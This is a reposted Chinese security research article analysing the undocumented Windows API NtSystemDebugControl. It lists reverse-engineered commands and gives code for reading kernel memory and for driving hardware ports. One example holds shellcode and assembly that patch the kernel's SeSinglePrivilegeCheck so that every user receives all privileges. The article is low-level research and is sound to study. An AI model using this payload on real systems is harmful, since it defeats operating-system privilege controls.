分享
 
 
 

(转载)对Native API NtSystemDebugControl的分析

王朝system·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

对Native API NtSystemDebugControl的分析转自:http://www.xfocus.net创建时间:2004-08-05

文章属性:原创

文章提交:tombkeeper (t0mbkeeper_at_hotmail.com)

对Native API NtSystemDebugControl的分析

作 者:于旸

邮 件:tombkeeper[0x40]nsfocus[0x2e]com

tombkeeper[0x40]xfocus[0x2e]org

完成于:2004.08.04

关键字:NtSystemDebugControl、ZwSystemDebugControl、读写内核空间、读写MSR、

读写物理内存、读写IO端口、读写总线数据、KdVersionBlock

在《获取Windows 系统的内核变量》中,我提及了在Windows NT 5.1以上的系统

中存在一个功能强大的 Native API NtSystemDebugControl,下面我们来看看它到底

有多强大。

NtSystemDebugControl是Windows NT系列操作系统上实现的一个系统调用,在不

同系统上的调用号分别为:

Windows NT 0xba

Windows 2000 0xde

Windows XP 0xff

Windows 2003 0x108

这是一个未文档化的 API,《Windows NT/2000 Native API Reference》中有相

关介绍。官方定义可以在一个微软的private头文件ntexapi.h中找到。该文件中还包

含很多其它内部数据结构。可能Windows NT 4的SDK中还曾经有过这个文件(至少NT4

ResourceKit的支持文档里面是这样说的),但现在似乎微软只提供给它的合作伙伴。

好在NTKernel新闻组上有一个“very kind person”共享了这个头文件,你可以从参

考资源[2]的两个链接中得到它。

这就是ntexapi.h中的定义:

typedef enum _SYSDBG_COMMAND {

SysDbgQueryTraceInformation = 1, //KdGetTraceInformation()

SysDbgSetTracepoint = 2, //KdSetInternalBreakpoint()

SysDbgSetSpecialCall = 3, //KdSetSpecialCall()

SysDbgClearSpecialCalls = 4, //KdClearSpecialCalls()

SysDbgQuerySpecialCalls = 5, //KdQuerySpecialCalls()

SysDbgQueryModuleInformation //ntexapi.h中有,但实际上未实现

} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

NTSYSAPI

NTSTATUS

NTAPI

NtSystemDebugControl (

IN SYSDBG_COMMAND Command,

IN PVOID InputBuffer,

IN ULONG InputBufferLength,

OUT PVOID OutputBuffer,

IN ULONG OutputBufferLength,

OUT PULONG ReturnLength

);

从上面可以看出,Windows NT和Windows 2000上的NtSystemDebugControl通过不

同的第一形参可调用五个内核函数,实现相关功能。

NtSystemDebugControl在Windows NT和Windows 2000上的功能还是比较简陋的,

《Windows NT/2000 Native API Reference》一书对这些已经介绍的很详细了,本文

不再赘述。

从Windows NT 5.1内核(Windows XP)开始,NtSystemDebugControl的功能被极

大扩增了。根据逆向工程的结果来看,在Windows XP上NtSystemDebugControl的第一

形参可接受 20个不同的功能调用,在Windows 2003上则有28个。

关于NtSystemDebugControl在Windows NT 5.1以上的实现,互联网上唯一能找到

的资料是BUGTRAQ ID 9694关于该 API的一个漏洞报告(参考资源[1]),事实上,这

个所谓漏洞是不能称之为漏洞的,因为调用这个API需要SeDebugPrivilege 特权,普

通用户根本执行不了,也就谈不上权限提升。

下面的enum是我逆向工程的结果,绝大部分经过测试:

typedef enum _SYSDBG_COMMAND {

//以下5个在Windows NT各个版本上都有

SysDbgGetTraceInformation = 1,

SysDbgSetInternalBreakpoint = 2,

SysDbgSetSpecialCall = 3,

SysDbgClearSpecialCalls = 4,

SysDbgQuerySpecialCalls = 5,

// 以下是NT 5.1 新增的

SysDbgDbgBreakPointWithStatus = 6,

//获取KdVersionBlock

SysDbgSysGetVersion = 7,

//从内核空间拷贝到用户空间,或者从用户空间拷贝到用户空间

//但是不能从用户空间拷贝到内核空间

SysDbgCopyMemoryChunks_0 = 8,

//SysDbgReadVirtualMemory = 8,

//从用户空间拷贝到内核空间,或者从用户空间拷贝到用户空间

//但是不能从内核空间拷贝到用户空间

SysDbgCopyMemoryChunks_1 = 9,

//SysDbgWriteVirtualMemory = 9,

//从物理地址拷贝到用户空间,不能写到内核空间

SysDbgCopyMemoryChunks_2 = 10,

//SysDbgReadVirtualMemory = 10,

//从用户空间拷贝到物理地址,不能读取内核空间

SysDbgCopyMemoryChunks_3 = 11,

//SysDbgWriteVirtualMemory = 11,

//读写处理器相关控制块

SysDbgSysReadControlSpace = 12,

SysDbgSysWriteControlSpace = 13,

//读写端口

SysDbgSysReadIoSpace = 14,

SysDbgSysWriteIoSpace = 15,

//分别调用RDMSR@4和_WRMSR@12

SysDbgSysReadMsr = 16,

SysDbgSysWriteMsr = 17,

//读写总线数据

SysDbgSysReadBusData = 18,

SysDbgSysWriteBusData = 19,

SysDbgSysCheckLowMemory = 20,

// 以下是NT 5.2 新增的

//分别调用_KdEnableDebugger@0和_KdDisableDebugger@0

SysDbgEnableDebugger = 21,

SysDbgDisableDebugger = 22,

//获取和设置一些调试相关的变量

SysDbgGetAutoEnableOnEvent = 23,

SysDbgSetAutoEnableOnEvent = 24,

SysDbgGetPitchDebugger = 25,

SysDbgSetDbgPrintBufferSize = 26,

SysDbgGetIgnoreUmExceptions = 27,

SysDbgSetIgnoreUmExceptions = 28

} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

从上面可以看出,在Windows NT 5.1以上的NtSystemDebugControl可以实现读写

内核线性空间数据、读写物理内存、读写端口、读写总线数据、读写MSR 等功能;在

Windows NT 5.2以上还可以在系统运行状态下使能、禁用内核调试以及获取、设置一

些相关变量等。

显然,从Windows XP开始,我们再次获得了MS DOS时代直接操纵系统的权杖,戴

着桂冠,重新回到了奥林匹斯山之巅。

下面举几个具体应用的例子。

例子1:

下面代码演示读取KdVersionBlock:

//------------------------------------------------------------------------

typedef struct _DBGKD_GET_VERSION64 {

USHORT MajorVersion;

USHORT MinorVersion;

USHORT ProtocolVersion;

USHORT Flags;

USHORT MachineType;

UCHAR MaxPacketType;

UCHAR MaxStateChange;

UCHAR MaxManipulate;

UCHAR Simulation;

USHORT Unused[1];

ULONG64 KernBase;

ULONG64 PsLoadedModuleList;

ULONG64 DebuggerDataList;

} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;

DBGKD_GET_VERSION64 KdVersionBlock;

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl

(

SysDbgSysGetVersion,

NULL,

0,

&KdVersionBlock,

sizeof(KdVersionBlock), //必须是0x28

NULL

);

printf ("KernBase: 0x%.8x\n",KdVersionBlock.KernBase);

printf ("PsLoadedModuleList: 0x%.8x\n",KdVersionBlock.PsLoadedModuleList);

printf ("DebuggerDataList: 0x%.8x\n",KdVersionBlock.DebuggerDataList);

//------------------------------------------------------------------------

例子2:

下面代码演示读取内核空间数据的操作,这里读取的是Windows 2003内核映像的

头两个字节,也就是“MZ”。

//------------------------------------------------------------------------

typedef struct _MEMORY_CHUNKS {

ULONG Address;

PVOID Data;

ULONG Length;

}MEMORY_CHUNKS, *PMEMORY_CHUNKS;

MEMORY_CHUNKS QueryBuff;

ULONG ReturnLength;

char Buff[0x2] = {0};

QueryBuff.Address = 0x804e0000; //Windows 2003的KernBase

QueryBuff.Data = Buff; //在此是读出缓冲

QueryBuff.Length = sizeof(Buff);

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl

(

SysDbgCopyMemoryChunks_0,

&QueryBuff,

sizeof(MEMORY_CHUNKS), //必须是0x0C

NULL,

0,

&ReturnLength

);

printf ("\"MZ\": %s\n",Buff);

//------------------------------------------------------------------------

例子3:

下面是一个使用NtSystemDebugControl的SysDbgCopyMemoryChunks_1功能实现的

Patch内核的ShellCode,把0x80580e66由原来的8a450c改为90b001:

修改前:

nt!SeSinglePrivilegeCheck+0x5c:

80580e66 8a450c mov al,[ebp+0xc]

80580e69 c9 leave

80580e6a c20c00 ret 0xc

修改后:

nt!SeSinglePrivilegeCheck+0x5c:

80580e66 90 nop

80580e67 b001 mov al,0x1

80580e69 c9 leave

80580e6a c20c00 ret 0xc

这样,SeSinglePrivilegeCheck总是返回True,也就是说,无论哪个用户,总是

拥有全部系统特权。

\xeb\x09\x66\xb8\x08\x01\x8b\xd4\x0f\x34\xc3\x68\x90\xb0\x01\xc9

\x8b\xc4\x6a\x04\x50\x68\x66\x0e\x58\x80\x54\x5b\x33\xc0\x50\x54

\x50\x50\x6a\x0c\x53\x6a\x09\x50\xe8\xd5\xff\xff\xff\x83

//------------------------------------------------------------------------

#pragma comment(linker, "/entry:main /ALIGN:4096" )

#pragma comment(lib, "kernel32.lib")

#define sysenter __asm __emit 0x0f __asm __emit 0x34

void main(void)

{

__asm

{

int 3 //debug

jmp patch

SystemDebugControl:

mov ax,0x108

mov edx,esp

sysenter

ret

patch:

push 0xc901b090

mov eax,esp

push 0x04

push eax

push 0x80580e66

push esp

pop ebx

xor eax,eax

push eax

push esp //ReturnLength

push eax //OutputBufferLength

push eax //OutputBuffer

push 0x0c //InputBufferLength

push ebx //InputBuffer

push 0x09 //ControlCode

push eax //for sysenter ret

call SystemDebugControl

add esp,0x30 //只是为了修正堆栈

}

}

//------------------------------------------------------------------------

上面只是一个概念代码,使用的Patch地址是固定的,对5.2.3790.0 版本的内核

有效。由于调用NtSystemDebugControl 要SeDebugPrivilege,所以这段ShellCode需

要在LocalSystem 的身份的进程空间运行,或者自己增加SeDebugPrivilege。最简单

的办法就是在WinDBG中执行。

例子4:

下面是一段完整的代码,利用NtSystemDebugControl读写端口的能力,直接操纵

PC Speaker发声:

//------------------------------------------------------------------------

//演示用ZwSystemDebugControl读写端口使PC Speaker发声

//tombkeeper 2004.08.03

#include <windows.h>

#include <stdio.h>

#pragma comment(lib, "advapi32")

#define NTAPI __stdcall

#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}

typedef int NTSTATUS;

typedef enum _SYSDBG_COMMAND

{

SysDbgSysReadIoSpace = 14,

SysDbgSysWriteIoSpace = 15

}SYSDBG_COMMAND, *PSYSDBG_COMMAND;

typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (

SYSDBG_COMMAND ControlCode,

PVOID InputBuffer,

ULONG InputBufferLength,

PVOID OutputBuffer,

ULONG OutputBufferLength,

PULONG ReturnLength

);

PZwSystemDebugControl ZwSystemDebugControl = NULL;

typedef struct _IO_STRUCT

{

DWORD IoAddr; // IN: Aligned to NumBYTEs,I/O address

DWORD Reserved1; // Never accessed by the kernel

PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer

DWORD NumBYTEs; // IN: # BYTEs to read/write. Only use 1, 2, or 4.

DWORD Reserved4; // Must be 1

DWORD Reserved5; // Must be 0

DWORD Reserved6; // Must be 1

DWORD Reserved7; // Never accessed by the kernel

}

IO_STRUCT, *PIO_STRUCT;

BOOL EnablePrivilege (PCSTR name)

{

HANDLE hToken;

BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };

LookupPrivilegeValue (

0,

name,

&priv.Privileges[0].Luid

);

OpenProcessToken(

GetCurrentProcess (),

TOKEN_ADJUST_PRIVILEGES,

&hToken

);

AdjustTokenPrivileges (

hToken,

FALSE,

&priv,

sizeof priv,

0,

0

);

rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);

return rv;

}

BYTE InPortB (int Port)

{

BYTE Value;

IO_STRUCT io;

io.IoAddr = Port;

io.Reserved1 = 0;

io.pBuffer = (PVOID) (PULONG) & Value;

io.NumBYTEs = sizeof (BYTE);

io.Reserved4 = 1;

io.Reserved5 = 0;

io.Reserved6 = 1;

io.Reserved7 = 0;

ZwSystemDebugControl

(

SysDbgSysReadIoSpace,

&io,

sizeof (io),

NULL,

0,

NULL

);

return Value;

}

void OutPortB (int Port, BYTE Value)

{

IO_STRUCT io;

io.IoAddr = Port;

io.Reserved1 = 0;

io.pBuffer = (PVOID) (PULONG) & Value;

io.NumBYTEs = sizeof (BYTE);

io.Reserved4 = 1;

io.Reserved5 = 0;

io.Reserved6 = 1;

io.Reserved7 = 0;

ZwSystemDebugControl

(

SysDbgSysWriteIoSpace,

&io,

sizeof (io),

NULL,

0,

NULL

);

};

void BeepOn (int Freq)

{

BYTE b;

if ((Freq >= 20) && (Freq <= 20000))

{

Freq = 1193181 / Freq;

b = InPortB (0x61);

if ((b & 3) == 0)

{

OutPortB (0x61, (BYTE) (b | 3));

OutPortB (0x43, 0xb6);

}

OutPortB (0x42, (BYTE) Freq);

OutPortB (0x42, (BYTE) (Freq >> 8));

}

}

void BeepOff (void)

{

BYTE b;

b = (InPortB (0x61) & 0xfc);

OutPortB (0x61, b);

}

int main (void)

{

HMODULE hNtdll;

ULONG ReturnLength;

OSVERSIONINFO OSVersionInfo;

OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);

EnablePrivilege (SE_DEBUG_NAME);

FCHK ((hNtdll = LoadLibrary ("ntdll.dll")) != NULL);

FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)

GetProcAddress (hNtdll, "ZwSystemDebugControl")) != NULL);

FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);

if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&

OSVersionInfo.dwMajorVersion >= 5 &&

OSVersionInfo.dwMinorVersion >= 1) //Windows XP以上

{

BeepOn (1000); //声音频率1000Hz

Sleep (1000);

BeepOff ();

}

else

{

printf ("This program require Windows XP or Windows 2003.\n");

}

return 0;

}

//------------------------------------------------------------------------

参考资源:

[1]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege

Escalation Vulnerability

http://www.securityfocus.com/bid/9694

[2]ntexapi.h

http://www.codeguru.com/code/legacy/system/ntexapi.zip

http://void.ru/files/Ntexapi.h

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有